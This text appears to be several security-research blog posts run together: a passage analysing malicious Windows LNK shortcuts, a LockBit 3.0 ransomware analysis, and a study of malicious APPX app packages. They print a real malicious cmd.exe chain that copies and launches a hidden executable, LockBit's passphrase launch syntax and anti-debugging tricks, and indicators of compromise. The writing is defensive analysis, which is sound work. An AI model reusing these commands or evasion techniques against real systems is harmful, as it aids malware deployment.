In this section, we characterize malicious shortcuts by analyzing the filesystem path to the shortcut target and the command line arguments that the system specifies at shortcut target activation. We take a snapshot of the current malicious shortcut landscape based on VirusTotal as a mass repository of representative malicious LNK file samples. We analyzed 27510 LNK file samples submitted to VirusTotal between July 14th, 2021 and July 14th, 2022. All samples were considered malicious by at least 30 vendors. 68.89% of the LNK file samples were submitted in 2022, and the remaining 31.11% in 2021.

We provide current insights about execution chains that originate from malicious shortcuts to assist threat detection and hunting efforts. The section How Does Windows Execute Shortcuts? below provides background information on Windows shortcuts and the system activities that take place when a user executes a shortcut.

The following image depicts the targets of the malicious shortcuts we analyzed – the executables that the shortcuts execute at target activation – and their prevalence in the set of malicious shortcuts (expressed in percentages, rounded to three decimal places).

Targets of malicious shortcuts
Targets of malicious shortcuts

The shortcut targets are LOLbins and/or enable the execution of attacker-specified code and/or executables. We observed the following targets at the top of the list:

  • cmd.exe, the Windows command interpreter, which enables the execution of Windows commands and arbitrary executables.
  • rundll32.exe, which enables the execution of arbitrary code in a Windows DLL.
  • wscript.exe, a Windows script execution environment, which enables the execution of arbitrary script code.
  • powershell.exe, the command interpreter of the PowerShell scripting engine.

Malicious shortcuts activate cmd.exe as the shortcut target to execute one or multiple Windows commands (typically implemented as executables that reside in the %SystemRoot%\System32 folder), and/or attacker-provided files:

  • Files with the filename extension .exe (.exe files) and of Windows executable file format.
  • Files with filename extensions different from .exe (non-.exe files) and of any file format, including the Windows executable format.

Malicious shortcuts execute multiple Windows commands and/or attacker-provided files through cmd.exe by specifying them as part of command statements that are chained with the & symbol. The chained command statements are part of the command line arguments of the shortcut target cmd.exe.

The malicious shortcuts we analyzed execute a variety of Windows commands through cmd.exe.

The Windows commands executed through cmd.exe and their prevalence
The Windows commands executed through cmd.exe and their prevalence

We categorize the commands as follows:

  • Commands for command execution flow control, such as exit, goto, and for.
  • Commands for file manipulation, such as xcopy, attrib, and copy.
  • Commands that enable the execution of attacker-specified code and/or executables – LOLbins, such as explorer, powershell, wscript, rundll32, msiexec, start, and regsvr32.

    The prevalence of LOLbins in the set of the malicious shortcuts we analyzed
    The prevalence of LOLbins in the set of the malicious shortcuts

  • Commands for information gathering, reconnaissance, and system configuration, such as findstr, set, ping, and net.
  • Commands for messaging and controlling the command interpreter output, such as cls, msg, echo, and rem.

The majority of the filenames of the attacker-provided .exe files that the malicious shortcuts we analyzed execute through cmd.exe are random – 99.914% of the filenames are random and only 0.086% are non-random (comprehensible), such as streamer.exe, setup.exe, or windowsupdater.exe.

We grouped the malicious shortcuts that execute attacker-provided .exe files through cmd.exe into clusters according to the filenames of the .exe files. We observed that the .exe files with non-random filenames are executed by a small number of shortcut clusters with large population sizes, with an average of 1177 shortcuts. On the contrary, the .exe files with random filenames are executed by a large number of shortcut clusters with very small population sizes, the majority of which with no more than 3 shortcuts. This shows that defenders should consider highly suspicious shortcuts that execute .exe files with random filenames, while staying on top of .exe file naming trends in the threat landscape for better detection coverage.

Number of malicious shortcut clusters vs. shortcut cluster population sizes
Number of malicious shortcut clusters vs. shortcut cluster population sizes

We observed a very diverse set of 253 different filename extensions of the attacker-provided non-.exe files that the malicious shortcuts we analyzed execute through cmd.exe.

The top 40 filename extensions of the attacker-provided non-.exe files the malicious shortcuts we analyzed execute through cmd.exe and the extensions’ prevalence
The top 40 extensions the malicious shortcuts execute through cmd.exe and their prevalence

Considering filename extensions only, the malicious shortcuts executed:

  • Script files, such as files with the filename extensions .vbs, .vbe, and .js;
  • Executable files, such as files with the filename extensions .scr and .dll;
  • Data files – files that store textual, audio, video, archive, and/or other arbitrary content, such as files with the filename extensions .docx, .png., .log., and .dat.

We observed that the filename extensions of the vast majority of the apparent data files, such as .docx or .avi, spoof filename extensions of executable or script files, such as .exe or .vbs, to masquerade executable or script files as files of other formats.

For approximately 0.5% of the malicious shortcuts we analyzed, the combined length of the filesystem path to the shortcut target and the command line arguments that the system specifies at target activation is greater than 260 characters. Visual inspection of the Properties > Shortcut > Target field of an LNK file in the Explorer utility, which displays the path to the shortcut target and any command line arguments, does not reveal anything beyond 260 characters. Attackers are known to abuse this for obfuscation – they craft LNK files such that command line arguments are padded with characters, such as newline or space, so that the combined length of the path to the shortcut target and the command line arguments significantly exceeds 260 characters.

We observed character padding mostly in shortcuts that targeted powershell.exe. In addition, we observed string concatenation and the use of the caret (^) symbol for target and/or command line argument obfuscation in approximately 2.5% of the samples.

How Does Windows Execute Shortcuts?

The user interface of the Windows operating system, a component referred to as the Windows Shell, manages and conceptually represents as objects entities that users interact with. Objects include entities that reside on the filesystem, such as files and folders, as well as other entities, such as networked computers. The Windows Shell structures these objects into a namespace – the Shell namespace.

When a user creates a shortcut to another object (also referred to as the shortcut target) using the Create shortcut command, the Windows Shell creates a Shell Link object and an LNK file – a file with the .lnk filename extension. An LNK file is in the binary Shell Link file format and stores information that Windows needs to access (activate) the shortcut target in data structures. This information includes:

  • The filesystem path to the shortcut target, for example, the path relative to the location of the LNK file (in the RELATIVE_PATH structure) and the absolute path (in the LinkTargetIDList structure).
  • The parameters (command line arguments) that the system specifies at shortcut target activation (in the COMMAND_LINE_ARGUMENTS structure).
  • The filesystem path to the shortcut icon that the system displays for the LNK file in icon view (in the ICON_LOCATION structure).

The figure below depicts the content of the malicious LNK file that we named malLNK.lnk (SHA-1 hash value: 5b241d50f1a662d69c96d824d7567d4503379c37). We displayed the content of malLNK.lnk using the LECmd LNK file parsing tool.

The content of malLNK.lnk (trimmed for brevity; the ? replaces Unicode characters)

The shortcut target of malLNK.lnk is C:\Windows\System32\cmd.exe and the command line argument is:

/c "%SystemRoot%\explorer.exe %cd%新建文件夹 & attrib -s -h %cd%qCAQlUf.exe & xcopy /F /S /Q /H /R /Y %cd%qCAQlUf.exe %temp%\rplKl\ & attrib +s +h %cd%qCAQlUf.exe & start %temp%\rplKl\qCAQlUf.exe & exit"

In summary, the activated shortcut target uses the Explorer utility to execute an executable, manipulates the System and Hidden attributes of executables, copies an executable, and executes the copied executable.

The following figure depicts a simplified overview of the activities that the Windows operating system conducts to activate a shortcut target through an LNK file. We take malLNK.lnk as a running example.

Overview of system activities at shortcut target activation. The numbers label the transitions between the activities.

Windows handles shortcut target activation using implementations of the IContextMenu::InvokeCommand Windows Shell method. This function takes a single parameter of type CMINVOKECOMMANDINFO or CMINVOKECOMMANDINFOEX. The CMINVOKECOMMANDINFO(EX) data structure stores information about the command that the Windows Shell executes when a user triggers the execution of IContextMenu::InvokeCommand. In the context of shortcuts, the command is the shortcut target with any command line arguments.

The information that CMINVOKECOMMANDINFO(EX) stores includes the working directory at command execution (the lpDirectory(W) structure fields) and command parameters (the lpParameters(W) structure fields). In contrast to CMINVOKECOMMANDINFO,CMINVOKECOMMANDINFOEX allows for Unicode structure field values.

When a user double-clicks malLNK.lnk (label [1]), the system executes the CDefFolderMenu::InvokeCommand function (label [2]). CDefFolderMenu::InvokeCommand is implemented in the %SystemRoot%\System32\shell32.dll. This function populates a CMINVOKECOMMANDINFOEX structure and passes the execution flow to the CShellLink::InvokeCommand function with the populated CMINVOKECOMMANDINFOEX structure as the function’s parameter.

CShellLink::InvokeCommand is implemented in %SystemRoot%\System32\windows.storage.dll (label [3]). The CMINVOKECOMMANDINFOEX data structure that the CShellLink::InvokeCommand function takes as its parameter has only a few fields populated, for example, the mandatory cbSize field (specifies the size ofCMINVOKECOMMANDINFOEX in bytes) and lpDirectory(W).

The figure below depicts the content of the CMINVOKECOMMANDINFOEX structure that CShellLink::InvokeCommand takes as its parameter. malLNK.lnk resides in the C:\Users\<user>\Desktop\malLNK folder – this determines the values of the lpDirectory(W) fields.

The content of the CMINVOKECOMMANDINFOEX structure before the CShellLink::InvokeCommand function executes

The CShellLink::InvokeCommand function conducts the central activities related to shortcut handling. This includes locating the shortcut target on the filesystem, expanding environment variables, and fully populating a CMINVOKECOMMANDINFOEX structure (label [4]). CShellLink::InvokeCommand passes the execution flow back to the CDefFolderMenu::InvokeCommand function with a fully populated CMINVOKECOMMANDINFOEX structure (label [5]). For example, the populated CMINVOKECOMMANDINFOEX structure stores the command parameter in the lpParameters(W) structure fields – this is the data in the COMMAND_LINE_ARGUMENTS structure that resides in malLNK.lnk.

The content of CMINVOKECOMMANDINFOEX structure after the CShellLink::InvokeCommand function executes

The CDefFolderMenu::InvokeCommand function then passes the execution flow to the CRegistryVerbsContextMenu::InvokeCommand function with the fully populated CMINVOKECOMMANDINFOEX structure as the function’s parameter (label [6]). CRegistryVerbsContextMenu::InvokeCommand is implemented in the shell32.dll DLL.

The invocation of CRegistryVerbsContextMenu::InvokeCommand leads to the creation of a new process by invoking the CreateProcessW function that is implemented in %SystemRoot%\System32\kernel32.dll (label [7]). The command line of this process is the shortcut target and the command line argument, as shown below.

C:\windows\system32\cmd.exe /c "%SystemRoot%\explorer.exe %cd%新建文件夹 & attrib -s -h %cd%qCAQlUf.exe & xcopy /F /S /Q /H /R /Y %cd%qCAQlUf.exe %temp%\rplKl\ & attrib +s +h %cd%qCAQlUf.exe & start %temp%\rplKl\qCAQlUf.exe & exit"
The command line of the newly created process at shortcut target activation
The command line of the newly created process at shortcut target activation

Recommendations for Investigators and Users

Investigators should consider highly suspicious any Windows shortcut (LNK file) that exhibits the following in the execution chain that originates from the shortcut:

  • Execution of executables (including activation of shortcut targets) that are LOLbins and/or enable the execution of attacker-specified code and/or executables. We observed the following such executables to be among the most prevalent in the set of malicious shortcuts we analyzed: explorer.exe, powershell.exe, and wscript.exe.
  • Execution of files with a filename extension different from .exe (non-.exe files) through cmd.exe as the shortcut target. We observed 253 different extensions of the non-.exe files that the malicious shortcuts we analyzed execute. The majority of these non-.exe files are files that store executable code (for example, Windows executables or script files) masquerading as files of other formats, such as audio or video files.
  • Execution of files with the .exe extension and random filenames through cmd.exe as the shortcut target. For .exe files with non-random (comprehensible) filenames, investigators should stay on top of .exe file naming trends in the threat landscape for better detection coverage.

Users should stay vigilant against phishing attacks and refrain from executing attached files that originate from unknown sources. Threat actors are distributing malicious LNK files through phishing emails at a mass scale and there is a substantial number of active widespread attack campaigns that involve malicious shortcuts. The malicious LNK files often come with misleading filenames and icons masquerading as important documents or critical software to lure users into activating the shortcuts.

LockBit 3.0 Update | Unpicking the Ransomware’s Latest Anti-Analysis and Evasion Techniques

21 July 2022 at 11:00

By Jim Walter & Aleksandar Milenkoski

LockBit 3.0 ransomware (aka LockBit Black) is an evolution of the prolific LockBit ransomware-as-a-service (RaaS) family, which has roots that extend back to BlackMatter and related entities. After critical bugs were discovered in LockBit 2.0 in March 2022, the authors began work on updating their encryption routines and adding several new features designed to thwart researchers. In June 2022, LockBit 3 caught the interest of the media as the ransomware operators announced they were offering a ‘bug bounty’ to researchers. In this post, we provide an overview of the LockBit 3.0 ransomware update and offer a technical dive for researchers into LockBit 3.0’s anti-analysis and evasion features.

LockBit 3.0 Changes and New Features Since LockBit 2.0

Around June of 2022, operators and affiliates behind LockBit ransomware began the shift to LockBit 3.0. Adoption of LockBit 3.0 by affiliates has been rapid, and numerous victims have been identified on the new “Version 3.0” leak sites, a collection of public blogs naming non-compliant victims and leaking extracted data.

LockBit 3 ransomware leaks site
LockBit 3 ransomware leaks site

In order to improve resilience, the operators have been aggressive with regards to standing up multiple mirrors for their leaked data and publicizing the site URLs.

LockBit has also added an instant search tool to their leaks site.

Updated LockBit leak site with new Search feature
Updated LockBit leak site with new Search feature

The authors of LockBit 3.0 have introduced new management features for affiliates and added Zcash for victim payments in addition to Monero and Bitcoin.

The ransomware authors also claim to have opened a public “bug bounty” program. Ostensibly, this appears to be an effort to improve the quality of the malware, and financially reward those that assist.

Lockbit ransomware group announced today Lockbit 3.0 is officially released with the message: "Make Ransomware Great Again!"

Additionally, Lockbit has launched their own Bug Bounty program paying for PII on high-profile individuals, web security exploits, and more… pic.twitter.com/ByNFdWe4Ys

— vx-underground (@vxunderground) June 26, 2022

On top of that, there is a purported $1 million reward on offer to anyone who can uncover the identity of the program affiliate manager. Understandably, given the criminal nature of the operators, would-be researchers may find that reporting bugs to a crimeware outfit may not lead to the promised payout but could lead to criminal charges from law enforcement.

LockBit 3.0 Payloads and Encryption

The updated LockBit payloads retain all the prior functionality of LockBit 2.0.

Initial delivery of the LockBit ransomware payloads is typically handled via 3rd party frameworks such as Cobalt Strike. As with LockBit 2.0, we have seen infections occur down the chain from other malware components as well, such as a SocGholish infection dropping Cobalt Strike, which in turn delivers the LockBit 3 ransomware.

The payloads themselves are standard Windows PE files with strong similarities to prior generations of LockBit as well as BlackMatter ransomware families.

PEStudio view of LockBit 3.0 Payload
PEStudio view of LockBit 3.0 Payload

LockBit ransomware payloads are designed to execute with administrative privileges. In the event that the malware does not have the necessary privileges, a UAC bypass will be attempted (CMSTP).

LockBit 3.0 achieves persistence via installation of System Services. Each execution of the payload will install multiple services. We have observed the following service names in conjunction with LockBit 3.0 ransomware payloads.

SecurityHealthService
Sense
sppsvc
WdBoot
WdFilter
WdNisDrv
WdNisSvc
WinDefend
wscsvc
vmicvss
vmvss
VSS
EventLog

As with previous versions, LockBit 3.0 will attempt to identify and terminate specific services if found. The following service names are targeted for termination in analyzed LockBit 3.0 samples:

backup
GxBlr
GxCIMgr
GxCVD
GxFWD
GxVss
memtas
mepocs
msexchange
sophos
sql
svc$
veeam
vss

In addition, the following processes are targeted for termination:

agntsvc
dbeng50
dbsnmp
encsvc
excel
firefox
infopath
isqlplussvc
msaccess
mspub
mydesktopqos
mydesktopservice
notepad
ocautoupds
ocomm
ocssd
onenote
oracle
outlook
powerpnt
registry
sqbcoreservice
steam
synctime
tbirdconfig
thebat
thunderbird
visio
winword
wordpad
xfssvccon

LockBit 3.0 writes a copy of itself to the %programdata% directory, and subsequently launches from this process.

The encryption phase is extremely rapid, even when spreading to adjacent hosts. The ransomware payloads were able to fully encrypt our test host in well under a minute.

On execution, the LockBit 3.0 ransomware will drop newly-formatted ransom notes along with a change to the desktop background. Interestingly, notepad and wordpad are included in the list of prescribed processes as noted above. Therefore, if a victim attempts to open the ransom note immediately after it is dropped, it will promptly close since the process is blocked until the ransomware completes its execution.

The new LockBit 3.0 ransomware desktop wallpaper is a simple text message on a black background.

LockBit 3.0 Desktop Wallpaper
LockBit 3.0 Desktop Wallpaper

The extension appended to newly encrypted files will also differ per campaign or sample.  For example, we have seen “HLJkNskOq” and “futRjC7nx”. Both encrypted files and the ransom notes will be prepended with the campaign-specific string.

futRjC7nx.README
HLJkNskOq.README

During our analysis, we observed infected machines shutting down ungracefully approximately 10 minutes after the ransomware payload was launched. This behavior may vary per sample, but it is worth noting.

Post-infection, LockBit 3.0 victims are instructed to make contact with their attacker via their TOR-based “support” portal.

LockBit 3.0 Ransom Note Excerpt
LockBit 3.0 Ransom Note Excerpt

LockBit 3 Anti-Analysis & Evasion

The LockBit 3.0 ransomware uses a variety of anti-analysis techniques to hinder static and dynamic analysis, and exhibits similarities to the BlackMatter ransomware in this regard. These techniques include code packing, obfuscation and dynamic resolution of function addresses, function trampolines, and anti-debugging techniques. In this section, we cover some of the anti-analysis techniques that LockBit 3.0 uses.

LockBit 3.0 payloads require a specific passphrase to execute. The passphrase is unique to each sample or campaign and serves to hinder dynamic and sandbox analysis if the passphrase has not been recovered along with the sample. A similar technique has been used by Egregor and BlackCat ransomware. The passphrase is provided upon execution via the -pass parameter. For example,

lockbit.exe -pass XX66023ab2zyxb9957fb01de50cdfb6

Encrypted content located in the LockBit 3.0 payload is decrypted at runtime using an XOR mask. The images below show the content of the ransomware’s .text executable segment before (label 1) and after (label 2) the ransomware has decrypted the segment content. The .text segment starts at the virtual address 0x401000.


The content of the ransomware’s .text executable segment
The content of the ransomware’s .text executable segment

LockBit 3.0 also first stores in heap memory and then uses trampolines for executing functions, for example, the Windows system calls NtSetInformationThread and ZwProtectVirtualMemory. The ransomware obfuscates the function addresses that the trampolines execute using the XOR and/or bit rotation obfuscation technique.

Some of the function trampolines LockBit 3.0 implements
Some of the function trampolines LockBit 3.0 implements

Several techniques are implemented for detecting the presence of a debugger and hindering dynamic analysis. For example, the ransomware evaluates whether heap memory parameters that indicate the presence of a debugger are set. Such flags are HEAP_TAIL_CHECKING_ENABLED (0x20) and HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000).

LockBit 3.0 examines the ForceFlags value in its PEB (Process Environment Block) to evaluate whether HEAP_VALIDATE_PARAMETERS_ENABLED is set.

LockBit 3.0 evaluates whether HEAP_VALIDATE_PARAMETERS_ENABLED is set
LockBit 3.0 evaluates whether HEAP_VALIDATE_PARAMETERS_ENABLED is set

The ransomware also evaluates whether the 0xABABABAB byte signature is present at the end of heap memory blocks that it has previously allocated. The presence of this byte signature means that HEAP_TAIL_CHECKING_ENABLED is set.

LockBit 3.0 evaluates whether HEAP_TAIL_CHECKING_ENABLED is set
LockBit 3.0 evaluates whether HEAP_TAIL_CHECKING_ENABLED is set

The LockBit 3.0 ransomware executes the NtSetInformationThread function through a trampoline, such that the ThreadHandle and ThreadInformationClass function parameters have the values of 0xFFFFFFFE and 0x11 (ThreadHideFromDebugger). This stops the flow of events from the current ransomware’s thread to an attached debugger, which effectively hides the thread from the debugger and hinders dynamic analysis.

LockBit 3.0 executes <em>NtSetInformationThread</em>
LockBit 3.0 executes NtSetInformationThread

In addition, LockBit scrambles the implementation of the DbgUiRemoteBreakin function to disable debuggers trying to attach to the ransomware process. When it executes, LockBit 3.0 ransomware:

  • Resolves the address of DbgUiRemoteBreakin.
  • Executes the ZwProtectVirtualMemory function through a trampoline to apply the PAGE_EXECUTE_READWRITE (0x40) protection to the first 32 bytes of the memory region where the implementation of DbgUiRemoteBreakin resides. This makes the bytes writable.
  • Executes the SystemFunction040 (RtlEncryptMemory) function through a trampoline to encrypt the bytes that the ransomware has previously made writable. This scrambles the implementation of the DbgUiRemoteBreakin function and disables debuggers to attach to the ransomware process.
  • LockBit 3.0 modifies the implementation of the DbgUiRemoteBreakin function
    LockBit 3.0 modifies the implementation of the DbgUiRemoteBreakin function

The images below depict the implementation of the DbgUiRemoteBreakin function before (label 1) and after (label 2) the LockBit 3.0 ransomware has modified the implementation of the function.


The implementation of the DbgUiRemoteBreakin function

Conclusion

LockBit has fast become one of the more prolific ransomware-as-a-service operators out there, taking over from Conti after the latter’s fractious fallout in the wake of the Russian invasion of Ukraine.

LockBit’s developers have shown that they are quick to respond to problems in the product they are offering and that they have the technical know-how to keep evolving. The recent claim to be offering a ‘bug bounty’, whatever its true merits, displays a savvy understanding of their own audience and the media landscape that surrounds the present tide of crimeware and enterprise breaches.

Short of intervention by law enforcement, we expect to see LockBit around for the forseeable future and further iterations of what is undoubtedly a very successful RaaS operation. As with all ransomware, prevention is better than cure, and defenders are encouraged to ensure that they have comprehensive ransomware protection in place. SentinelLabs will continue to offer updates and reports on LockBit activity as it develops.

Indicators of Compromise

SHA256
f9b9d45339db9164a3861bf61758b7f41e6bcfb5bc93404e296e2918e52ccc10
a56b41a6023f828cccaaef470874571d169fdb8f683a75edd430fbd31a2c3f6e
d61af007f6c792b8fb6c677143b7d0e2533394e28c50737588e40da475c040ee

SHA1
ced1c9fabfe7e187dd809e77c9ca28ea2e165fa8
371353e9564c58ae4722a03205ac84ab34383d8c
c2a321b6078acfab582a195c3eaf3fe05e095ce0

.ONION domains
lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead[.]onion
lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd[.]onion
lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd[.]onion
lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd[.]onion
lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd[.]onion
lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd[.]onion
lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid[.]onion
lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd[.]onion
lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd[.]onion
lockbit7z2jwcskxpbokpemdxmltipntwlkmidcll2qirbu7ykg46eyd[.]onion
lockbitsupa7e3b4pkn4mgkgojrl5iqgx24clbzc4xm7i6jeetsia3qd[.]onion
lockbitsupdwon76nzykzblcplixwts4n4zoecugz2bxabtapqvmzqqd[.]onion
lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd[.]onion
lockbitsupo7vv5vcl3jxpsdviopwvasljqcstym6efhh6oze7c6xjad[.]onion
lockbitsupq3g62dni2f36snrdb4n5qzqvovbtkt5xffw3draxk6gwqd[.]onion
lockbitsupqfyacidr6upt6nhhyipujvaablubuevxj6xy3frthvr3yd[.]onion
lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd[.]onion
lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd[.]onion
lockbitsupxcjntihbmat4rrh7ktowips2qzywh6zer5r3xafhviyhqd[.]onion

MITRE ATT&CK
T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
T1543.003 – Create or Modify System Process: Windows Service
T1055 – Process Injection
T1070.001 – Indicator Removal on Host: Clear Windows Event Logs
T1622 – Debugger Evasion
T1548.002 – Abuse Elevation Control Mechanism: Bypass User Account Control
T1485 – Data Destruction
T1489 – Service Stop
T1490 – Inhibit System Recovery
T1003.001 – OS Credential Dumping: LSASS Memory
T1078.002 – Valid Accounts: Domain Accounts
T1078.001 – Valid Accounts: Default Accounts
T1406.002 – Obfuscated Files or Information: Software Packing
T1218.003 – System Binary Proxy Execution: CMSTP
T1047 – Windows Management Instrumentation
T1119 – Automated Collection

Inside Malicious Windows Apps for Malware Deployment

14 July 2022 at 13:41

This article discusses Windows Apps – Windows applications packaged into APPX or MSIX packages  – as a medium to deploy malware. Though not as widely abused as other infection vectors, there have been a number of recent high profile attacks that use Windows Apps.

  • November, 2021: BazarBackdoor was distributed in the form of an APPX package.
  • December, 2021: Emotet malware was distributed by abusing a spoofing vulnerability in the Windows App Installer, software that installs Windows Apps.
  • January, 2022:  Malicious Windows Apps in APPX format masquerading as critical browser updates were used to drop Magniber ransomware.
  • February, 2022: Windows Apps laced with the Electron Bot malware were uploaded to the Microsoft Store, a trusted library of Microsoft-certified packaged Windows Apps.

Since Microsoft’s announcement that Office applications will by default disable the execution of Office macros in the context of documents that originate from untrusted sources, there has been an uptick in malicious actors using alternative mediums for deploying malware such as Windows Apps and Windows shortcut LNK files. Despite Microsoft recently rolling back the decision to disable by default Office macro execution, these media complement malicious macros and remain a threat to watch for.

Previous research on malicious Windows Apps focused on concrete system infections involving particular instances of such Apps. This article complements previous research by taking a generic perspective. I take an APPX package that malicious actors have used to deploy malware as a running example and provide:

  • A summarizing overview of the layout and content of APPX packages (APPX packages are structurally very similar to the alternative MSIX packages and the two Windows App packaging formats share the same deployment infrastructure).
  • An overview of selected activities that the Windows system conducts when a user installs a malicious APPX package.

This enables a better understanding of what occurs on a system when a user falls prey to an attack that involves a malicious Windows App – from the operating system activities at first user interaction with the file to the malware deployment that the file triggers.

For Windows to install an APPX package, whether malicious or not, the system first has to establish trust in the package. Microsoft provides the Microsoft Store to Windows users as a library of certified packaged Windows Apps. These packages are digitally counter-signed by Microsoft. Windows trusts by default APPX packages that originate from the Windows Store. However, when the Windows App sideloading feature is enabled, users can install APPX packages that do not originate from the Microsoft Store as well, that is, packages that are not counter-signed by Microsoft. Such are the majority of the malicious APPX packages that the security community has observed in attacks.

In this article, we will dig into how malicious APPX packages can be installed on a Windows 10 system, with a focus on how Windows establishes trust in an APPX package. I focus on this aspect since trust is a crucial part of the Windows App installation process. This process is what ultimately deploys malware on a system. I will use the malicious APPX package edge_update.appx (SHA1: e491af786b5ee3c57920b79460da351ccf8f6f6b) as a running example.

What Does a Malicious Windows App Look Like?

The edge_update.appx APPX package is signed with a code signing certificate issued to Foresee Consulting Inc. and a root certificate issued by DigiCert Trusted Root G4. Windows systems trust DigiCert root certificates and they are placed in the Trusted Root Certification Authorities certificate store.

Figure 1 depicts the certificate chain of the digital signature of edge_update.appx before a Certificate Authority revoked the certificate.

Figure 1: The certificate chain of the digital signature of edge_update.appx prior certificate revocation

APPX packages are ZIP archive files that store the executable files that implement the packaged Windows App and additional files. Figure 2 depicts the content of edge_update.appx. The eediwjus directory stores the malicious Windows App that the executable files eediwjus.exe and eediwjus.dll implement. eediwjus.exe is a .NET Windows App (see Figure 3) that invokes the mhjpfzvitta function from eediwjus.dll. This function executes malicious code that is heavily control-flow obfuscated with unconditional jumps (see Figure 4). The analysis of the malicious code is out of the scope of this article.

Figure 2: The content of edge_update.appx
Figure 3: The implementation of eediwjus.exe
Figure 4: Control-flow obfuscated malicious code in eediwjus.dll

In addition to the files that implement a Windows App, an APPX package stores additional files, such as AppxManifest.xml, AppxBlockMap.xml, and AppxSignature.p7x.

AppxManifest.xml is the package manifest, a file in XML (Extensible Markup Language) format that contains the information that Windows needs to deploy, display, and update a Windows App. This includes information about:

  • The publisher of the App, where the publisher is the entity that digitally signs the APPX package and that is responsible for the development and release of the Windows App.
  • Windows App properties, such as display name and logo.
  • Software dependencies and capabilities: The Windows system controls what system resources a Windows App can access with respect to the capabilities that the publisher has assigned to the App. System resources include the Internet, filesystem locations, and networking. In summary, Windows Apps execute in a sandboxed, access-restricted, environment for security reasons.

Figure 5 depicts the content of AppxManifest.xml in the malicious edge_update.appx. The publisher of the Windows App is Foresee Consulting Inc., the display name of the App is Edge Update, and the App has the capabilities internetClient and runFullTrust . The internetClient capability enables the malicious Windows App to download data from the Internet, probably a payload from an attacker-controlled endpoint.

Figure 5: The content of AppxManifest.xml in edge_update.appx (trimmed for brevity)

AppxBlockMap.xml is the package block map, a file in XML format that stores Base-64 encoded hash values of data blocks in the files that an APPX package archives. Windows uses these hashes to verify the data integrity of these files when installing an APPX package, a topic that I discuss further in this article.

Figure 6 depicts the content of AppxBlockMap.xml in the malicious edge_update.appx. The HashMethod XML attribute specifies the hash algorithm for calculating the data block hash values in AppxBlockMap.xml. The File XML element specifies a file in the APPX package and the size of the file. The Block XML element specifies the hash value and the size of a single data block in the file. For example, a data block in eediwjus.exe that is 1304 bytes big has the SHA-256 hash value of ad4f74c0c3ac37e6f1cf600a96ae203c38341d263dbac0741e602686794c4f5a (in hexadecimal format).

Figure 6: The content of AppxBlockMap.xml in edge_update.appx (trimmed for brevity)

AppxSignature.p7x is the APPX package signature, a PKCS (Public-Key Cryptography Standards) #7 digital signature data in ASN.1 (Abstract Syntax Notation One) format. AppxSignature.p7x stores signature data, such as the certificate chain of the digital signature and the actual signed data. The signed data includes hashes of files in the APPX package, such as AppxManifest.xml and AppxBlockMap.xml. Figure 7 depicts the formatted content of AppxSignature.p7x in the malicious edge_update.appx.

Figure 7: The content of AppxSignature.p7x in edge_update.appx (trimmed for brevity)

Is a Malicious Windows App Trustworthy?

The AppxSvc service (Appx Deployment Service), which the DLL (dynamic-link library) %SystemRoot%\System32\appxdeploymentserver.dll implements, orchestrates the installation of APPX packages. When a user installs an APPX package, the AppxSvc service verifies the data integrity of the package and verifies that the package satisfies certain trust criteria. Figure 8 depicts a simplified overview of the data integrity verification process that the AppxSvc service conducts.

Figure 8: A simplified overview of the data integrity verification process that the AppxSvc service conducts

In summary, the data integrity verification process consists of the following steps:

  1. The AppxSvc service invokes the WinVerifyTrust function to verify the APPX package signature AppxSignature.p7x, that is, to verify the signed data in AppxSignature.p7x using the certificate chain in AppxSignature.p7x (see Figure 7). The signed data includes hashes of files that the APPX package stores, including AppxBlockMap.xml (see Figure 6). For example, Figure 9 depicts the hash value of AppxBlockMap.xml in the malicious edge_update.appx and the same value in AppxSignature.p7x, the package signature of edge_update.appx.


    Figure 9: The hash value of AppxBlockMap.xml in  the package signature of edge_update.appx

  2. The successful verification of the signed data in AppxSignature.p7x enables the AppxSvc service to verify the data integrity of the files whose hashes are part of the signed data, including AppxBlockMap.xml. The AppxSvc service does this by first computing the SHA-256 hash value of AppxBlockMap.xml and then comparing the computed value with the SHA-256 hash value of AppxBlockMap.xml in the previously verified signed data.
  3. Once the AppxSvc service verifies the data integrity of AppxBlockMap.xml, the service verifies the integrity of the data blocks that AppxBlockMap.xml specifies (see Figure 6). The service does this by first computing the hash values of the data blocks and then comparing the computed values with the Base-64 encoded hash values in AppxBlockMap.xml.

The steps above ensure that the data in an APPX package is credible, with the overall process relying on a successful verification of the signed data in AppxSignature.p7x. However, for Windows to install an APPX package, also a malicious package, the system also has to verify that the package satisfies a set of trust criteria.

Previous research provides more background information on the steps above. This article focuses on the trust criteria that relate to the certificates in AppxSignature.p7x that the AppxSvc service uses to verify the signed data in AppxSignature.p7x.

These certificates represent the root of trust for the data integrity verification of an APPX package and for establishing trust in the package. In addition, in contrast to other APPX package-internal data structures for data integrity and trust verification, the certificates are more relevant entities from an operational perspective to end-users.

When the AppxSvc service installs the malicious edge_update.appx, the service executes:

  • The CertVerifyCertificateChainPolicy function to validate the certificates in AppxSignature.p7x against the following certificate validation policies: CERT_CHAIN_POLICY_AUTHENTICODE (2), CERT_CHAIN_POLICY_AUTHENTICODE_TS (3), CERT_CHAIN_POLICY_BASE (1), and CERT_CHAIN_POLICY_BASIC_CONSTRAINTS (5). Among other certificate properties, CertVerifyCertificateChainPolicy validates whether the certificates are valid for code signing and whether the root certificate is trusted – present in a certificate store for trusted root certificates, such as Trusted Root Certification Authorities.
  • The CertGetCertificateChain function to check the revocation status of the certificates in AppxSignature.p7x.

